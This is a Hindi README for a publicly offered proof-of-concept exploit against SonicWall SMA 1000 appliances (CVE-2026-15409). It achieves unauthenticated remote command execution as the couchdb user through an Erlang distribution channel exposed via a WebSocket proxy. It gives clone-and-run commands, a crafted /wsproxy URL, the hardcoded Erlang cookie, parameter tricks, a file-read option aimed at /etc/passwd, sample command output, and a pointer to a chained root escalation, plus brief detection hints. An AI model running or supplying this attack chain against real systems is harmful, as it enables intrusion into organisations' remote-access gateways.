
CVE-2026-15409 (SonicWall SMA 1000 RCE) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो WebSocket पर Erlang वितरण के माध्यम से काम करता है। couchdb उपयोगकर्ता के रूप में बिना प्रमाणीकरण के रिमोट कोड निष्पादन प्राप्त करता है।
CVE-2026-15409 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट – वेबसॉकेट के ऊपर टनल किए गए Erlang डिस्ट्रीब्यूशन प्रोटोकॉल के माध्यम से SonicWall SMA 1000 सीरीज़ उपकरणों पर बिना प्रमाणीकरण के रिमोट कोड निष्पादन।
CVE-2026-15409 एक गंभीर भेद्यता है जो SonicWall SMA 1000 उपकरणों (जून 2026 हॉटफिक्स से पहले के संस्करण) को प्रभावित करती है। यह दोष WorkPlace सेवा (आमतौर पर पोर्ट 443 पर उपलब्ध) में मौजूद है, जो आंतरिक Erlang नोड्स के लिए WebSocket कनेक्शन को प्रॉक्सी करती है। एक वैध पैरामीटर गढ़कर और हार्डकोडेड Erlang कुकी का उपयोग करके, एक हमलावर प्रमाणित डिस्ट्रीब्यूशन चैनल स्थापित कर सकता है और पर RPC कॉल के माध्यम से उपयोगकर्ता (या अन्य निम्न-विशेषाधिकार वाले खातों) के रूप में मनमाने सिस्टम कमांड निष्पादित कर सकता है।
bmIDos:cmd/1couchdbयह रिपॉजिटरी एक पूर्ण रूप से कार्यशील PoC प्रदान करता है जो संपूर्ण एक्सप्लॉइट श्रृंखला को स्वचालित करता है – WebSocket हैंडशेक से लेकर मनमाने कमांड निष्पादन तक – साफ इंटरफेस, उन्नत त्रुटि प्रबंधन और बेहतरीन लॉगिंग के साथ।
wsproxy एंडपॉइंट का उपयोग करके सीधे wss:// पर काम करता है।os:cmd/1 के माध्यम से; file:read_file/1 के माध्यम से फ़ाइलें पढ़ सकता है या erlang:node/0 के साथ कनेक्टिविटी का परीक्षण कर सकता है।bmID मानों (जब तक वे -3389 से शुरू होते हैं) और कई serviceType मानों का समर्थन करता है।[+], [*], [-], [!] प्रतीकों के साथ रंग-कोडित संदेश।यह भेद्यता SMA 1000 में निम्नलिखित डिज़ाइन कमजोरियों से उत्पन्न होती है:
/wsproxy एंडपॉइंट बाइनरी WebSocket संदेशों को उचित प्रमाणीकरण या प्राधिकरण के बिना स्थानीय Erlang डिस्ट्रीब्यूशन पोर्ट (डिफ़ॉल्ट रूप से localhost:1050) पर अग्रेषित करता है।[email protected] पोर्ट 1050 पर सुनता है और WebSocket प्रॉक्सी से कनेक्शन स्वीकार करता है, जिससे यह नेटवर्क से पहुंच योग्य हो जाता है।rex सेवा प्रदान करता है, जो नोड पर मनमाने फ़ंक्शन निष्पादित कर सकती है, जिसमें os:cmd/1 शामिल है।ex_sra_vm_12.5.0-02002.ova)।couchdb उपयोगकर्ता (UID 1010, ग्रुप daemon) के रूप में।file:read_file/1 के माध्यम से मनमानी फ़ाइलें पढ़ना।websockets लाइब्रेरी के साथ Python 3.8+ (pip install websockets के माध्यम से इंस्टॉल करें)।git clone https://github.com/Ch4120N/CVE-2026-15409.git
cd CVE-2026-15409
pip install -r requirements.txt # websockets
python3 cve-2026-15409.py \
--ws-url 'wss://TARGET_IP/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' \
--ws-user-agent 'SMA Connect Agent' \
--ws-insecure-tls \
--exec 'whoami && id && pwd && hostname'
░█▀▀░█░█░█▀▀░░░░░▀▀▄░▄▀▄░▀▀▄░▄▀▀░░░░░▀█░░█▀▀░█░█░▄▀▄░▄▀▄ ░█░░░▀▄▀░█▀▀░▄▄▄░▄▀░░█/█░▄▀░░█▀▄░▄▄▄░░█░░▀▀▄░░▀█░█/█░░▀█ ░▀▀▀░░▀░░▀▀▀░░░░░▀▀▀░░▀░░▀▀▀░░▀░░░░░░▀▀▀░▀▀░░░░▀░░▀░░▀▀░ [CVE-2026-15409] Erlang Distribution RCE via WebSocket Proxy Owner: Ch4120N
[ * ] Connecting via WebSocket to wss://192.168.56.102/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050 [ * ] Preparing RPC: os:cmd('whoami && id && pwd && hostname') [ + ] Authenticated to [email protected] [ * ] Calling os:cmd/1 ... [ + ] RPC call completed [ * ] Peer name: [email protected] [ * ] Peer flags: 0xd07df7fbd [ * ] Peer creation: 1784069352 [ + ] Command output: couchdb uid=1010(couchdb) gid=1(daemon) groups=1(daemon) /opt/couchdb SMAAppliance.sma
| आर्ग्युमेंट | विवरण |
|---|---|
--host, --port | TCP फ़ॉलबैक (यदि WebSocket उपयोग नहीं कर रहे हैं) |
--cookie | डिफ़ॉल्ट हार्डकोडेड कुकी को ओवरराइड करें |
--name | कस्टम स्थानीय Erlang नोड नाम |
--ws-origin | WebSocket के लिए Origin हेडर सेट करें |
--ws-user-agent | User-Agent स्ट्रिंग (डिफ़ॉल्ट: SMA Connect Agent) |
--ws-insecure-tls | TLS सत्यापन अक्षम करें (सेल्फ-साइन्ड सर्टिफिकेट) |
--read-file | टार्गेट से फ़ाइल पढ़ें (जैसे, /etc/passwd) |
--rpc | erlang:node/0 को कॉल करके केवल कनेक्शन का परीक्षण करें |
एक्सप्लॉइट में उपयोग की जाने वाली Erlang कुकी है:
10ecad5b446e86864832904cd439b6b70262
यह मान सभी परीक्षण किए गए SMA उपकरणों में स्थिर है और localhost:1050 पर Erlang प्रोसेस में हार्डकोडेड है। यह क्लस्टरिंग के लिए उपयोगकर्ता-कॉन्फ़िगर की गई कुकी के समान नहीं है।
bmID पैरामीटरbmID को -3389 से शुरू होना चाहिए (जैसे, -3389c1b25ccd)। प्रीफिक्स के बाद मनमाने मान स्वीकार किए जाते हैं, इसलिए सिग्नेचर-आधारित डिटेक्शन को निश्चित हैश पर निर्भर नहीं रहना चाहिए।
जबकि उदाहरण serviceType=SSH का उपयोग करता है, TELNET जैसे अन्य मान भी काम करते हैं। एक्सप्लॉइट सेवा प्रकार के प्रति अज्ञेय (agnostic) है।
पोर्ट 1050 डिफ़ॉल्ट आंतरिक पोर्ट है, लेकिन वास्तविक दुनिया में पोर्ट 8188 को लक्षित करने वाले हमले भी देखे गए हैं। एक्सप्लॉइट को किसी भी पोर्ट के लिए अनुकूलित किया जा सकता है जो Erlang डिस्ट्रीब्यूशन प्रोटोकॉल को उजागर करता है।
couchdb के रूप में शेल प्राप्त करने के बाद, एक हमलावर CVE-2026-15410 का लाभ उठा सकता है – एक XML-RPC पाथ ट्रैवर्सल जो हॉटफिक्स को हटाने और उसके बाद रूट विशेषाधिकार वृद्धि की अनुमति देता है।
-3389 से शुरू होने वाले bmID के साथ /wsproxy के लिए असामान्य WebSocket कनेक्शन।couchdb उपयोगकर्ता द्वारा शुरू की गई प्रोसेस (जैसे, bash, python, nc)।couchdb उपयोगकर्ता द्वारा /var/tmp/ में फ़ाइलों का संशोधन या निर्माण।यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है – विवरण के लिए LICENSE फ़ाइल देखें।
अस्वीकरण: यह टूल केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए है। इस सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए लेखक और योगदानकर्ता जिम्मेदार नहीं हैं।
यदि आपको यह PoC उपयोगी लगता है, तो कृपया इसे GitHub पर ⭐ देने और इसे जिम्मेदारी से साझा करने पर विचार करें। योगदान, मुद्दे और पुल रिक्वेस्ट का स्वागत है!
हैप्पी हैकिंग! 🛡️